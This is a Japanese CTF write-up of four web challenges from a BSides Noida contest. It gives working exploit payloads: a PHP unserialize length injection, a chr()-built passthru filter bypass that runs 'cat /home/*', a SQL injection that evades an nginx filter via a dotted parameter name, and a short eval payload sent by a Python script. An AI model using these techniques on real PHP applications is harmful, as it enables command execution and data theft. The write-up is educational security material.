8/7 - 8/8という日程で開催された。zer0ptsで参加して1位。
- [Web 462] wowooo (37 solves)
- [Web 465] freepoint (34 solves)
- [Web 477] Baby Web Revenge (24 solves)
- [Web 493] Calculate (8 solves)
[Web 462] wowooo (37 solves)
ユーザ名を与えると事前に用意された文字列に展開され、unserialize される。その返り値の2番目の要素が V13tN4m_number_one であればフラグが得られる。
<?php include 'flag.php'; function filter($string){ $filter = '/flag/i'; return preg_replace($filter,'flagcc',$string); } $username=$_GET['name']; $pass="V13tN4m_number_one"; $pass="Fl4g_in_V13tN4m"; $ser='a:2:{i:0;s:'.strlen($username).":\"$username\";i:1;s:".strlen($pass).":\"$pass\";}"; $authen = unserialize(filter($ser)); if($authen[1]==="V13tN4m_number_one "){ echo $flag; } if (!isset($_GET['debug'])) { echo("PLSSS DONT HACK ME!!!!!!").PHP_EOL; } else { highlight_file( __FILE__); } ?> <!-- debug -->
なぜかユーザ名に含まれる flag が flagcc に置換されているが、この置換はユーザ名をテンプレートの文字列に展開した後に行われている。このために展開時の strlen($username) と置換後のユーザ名の文字数とが違った値になってしまう。
例えば、ユーザ名が flagflagflagflag であった場合に最終的に unserialize される文字列は a:2:{i:0;s:32:"flagccflagccflagccflagccflagccflagccflagccflagcc";i:1;s:15:"Fl4g_in_V13tN4m";} になる。PHPの serialize は文字列を s:(文字数):"(文字列)"; のようにシリアライズするが、この場合だと s:48:"…"; であるべきところが s:32:"…"; になってしまっており、正しく unserialize できない文字列になっている。
これをうまく使えば、unserialize されると2番目の要素が V13tN4m_number_one である配列になるような文字列を作ることもできる。flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}aaaaaaaaaaaaaa をユーザ名として投げるとフラグが得られた。
BSNoida{3z_ch4all_46481684185_!!!!!!@!}
[Web 465] freepoint (34 solves)
/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i という正規表現に引っかからないようなPHPコードを作る問題。
implode('',[chr(97),chr(98),chr(99)]) みたいな感じでフィルターを回避しつつ任意の文字列が作れるので、('passthru')('ls -la') みたいな感じでコマンドを実行する。
<?php function encode($s) { $res = "implode('',["; $l = strlen($s); for ($i = 0; $i < $l; $i++) { $res .= 'chr(' . ord($s[$i]) . '),'; } $res .= '])'; return $res; } class BSides { function __construct($payload) { $this->note = $payload; $this->name = 'admin'; $this->option = 'getFlag'; } } echo 'http://ctf.freepoint.bsidesnoida.in/?ctf=' . urlencode(serialize(new Bsides( '(' . encode('passthru') . ')(' . encode('cat /home/*') . ')' )));
BSNoida{Fre3_fl4g_f04_y0u_@@55361988!!!}
[Web 477] Baby Web Revenge (24 solves)
以下のような感じでSQLiがある。
$channel_name = $_GET['chall_id'];
$sql = "SELECT * FROM CTF WHERE id={$channel_name}";
$results = $db->query($sql);
のだけれども、nginx側で以下のように chall_id というGETパラメータにフィルターがかけられてしまっている。
if ( $arg_chall_id ~ [A-Za-z_.%]){
return 500;
}
PHPはGETパラメータの名前に . が含まれていた場合には自動的にそれを _ に変換するので、これを使えばフィルターを回避できる。
?chall.id=1/**/union/**/select/**/sql,2,3,4,5,6/**/from/**/sqlite_master で therealflags テーブルの存在がわかるので、これを読み出すとフラグが得られる。
BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4_fr0m_4n_1nt3nd3d_s01ut10nxD}
[Web 493] Calculate (8 solves)
/[a-zA-BD-Z!@#%^&*:'\"|`~\\\\]|3|5|6|9/ という正規表現に引っかからず、また110文字以内の文字列であれば eval されるという問題。freepointがさらに厳しくなったような感じ。
まず正規表現について、これに引っかからないASCII内の文字は $()+,-./012478;<=>?C[]_{} だけ。UIUCTFのphpfuck_fixedと比べると優しく見えるが、110文字という文字数制限は厳しい。
nyankoさんが文字列の入った変数はインクリメントでき、これを使って C から様々な文字が作れることを発見していた。例えば、$s という変数に ABC という文字列が入っていた場合に $s をインクリメントすると、$s は ABD という文字列に変わる。
また、配列と文字列を文字列結合演算子で結合させようとすると、配列の方は Array という文字列に変換される。これを使えば ([].C)[1] から r という文字が作れる。
これらを組み合わせて、nyankoさんが $C=C.C;$C++;$C++;$C++;$C++;$C++;$C=$C.([].[])[2] というコードで CHr という文字列が作れることを見つけていた。
ただ、関数の呼び出しのために chr でいちいち関数名や引数になる文字列を組み立てていてはすぐに110文字を超えてしまう。この chr で _GET という文字列を組み立てて適当な変数(例えば $_) に代入しておけば、可変変数という機能を使って ($$_[0])($$_[1]) という ($_GET[0])($_GET[1]) 相当のコードを作ることができる。これを使えば、呼び出したい関数があればGETパラメータにその名前と引数を入れるだけで呼び出せる。
import requests payload = '$C=C.C,$C++,$C++,$C++,$C++,$C++,$C.=([].C)[2],$_=(_.$C(72-1).$C(70-1).$C(84)),($$_[0])($$_[1])' r = requests.post('http://ctf.calculate.bsidesnoida.in/', data={ 'VietNam': payload }, params={ '0': 'exec', '1': 'cat /home/*' }) print(r.text)
BSNoida{w0w_gr3at_Th4nk_y0u_f0r_j0in1ng_CTF_!!!!!!}